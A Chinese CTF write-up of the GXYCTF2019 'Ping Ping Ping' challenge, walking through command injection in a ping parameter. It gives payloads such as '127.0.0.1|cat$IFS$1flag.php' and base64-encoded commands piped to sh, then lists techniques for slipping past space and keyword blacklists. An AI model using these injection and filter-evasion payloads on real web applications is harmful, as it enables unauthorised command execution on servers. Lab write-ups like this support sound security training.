[GXYCTF2019]Ping Ping Ping
阿新 • • 發佈:2020-08-16
0x00
開啟網頁
我們去訪問一下/?ip=127.0.0.1,結果得到如下
發現返回的結果這不是執行了ping命令嗎,猜測這裡存在命令執行,我們繼續執行如下payload:
/?ip=127.0.0.1|ifconfig
## |無論第一個命令是否正確執行都將執行下一個命令
## &第一個命令執行失敗則不執行第二個命令
果然存在命令執行漏洞,接下來我們執行如下payload:
/?ip=127.0.0.1|ls
我們驚訝的發現了flag.php,直接去訪問一下,結果得到了空白網頁,我就知道不會這麼簡單
我們還可以通過命令去獲取flag.php裡面的內容,執行如下payload:
/?ip=127.0.0.1|cat flag.php
發現空格被過濾了,繞過空格我們可以使用如下payload:
/?ip=127.0.0.1|cat$IFS$1flag.php
結果發現flag關鍵字也被過濾了,我們可以通過編碼的形式去繞過,執行如下payload:
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
太坑了bash也被過濾了,那我們可以使用sh,執行如下payload:
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
這回沒有被過濾,但是什麼都沒返回,突然想起來flag在flag.php中也許是被當作程式碼註釋了,於是檢視網站原始碼
得到了flag
0x01
這裡在普通命令執行的基礎上主要考查的是繞過
空格繞過:
${IFS}
- cat${IFS}flag
- cat${IFS}$1flag
- cat$IFS$1flag
重定向符<>
- cat<>flag
- cat<flag
%09(需要php環境)
-cat%09flag
黑名單繞過:
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64編碼
- echo "Y2F0IGZsYWc="|base64 -d|bash
- `echo "Y2F0IGZsYWc="|base64 -d`
單引號、雙引號
c""at fl''ag
反斜線
c\at fl\ag
$1、$2等和$@
c$1at [email protected]
以上所有的繞過方法都是參考如下這位大佬寫的文章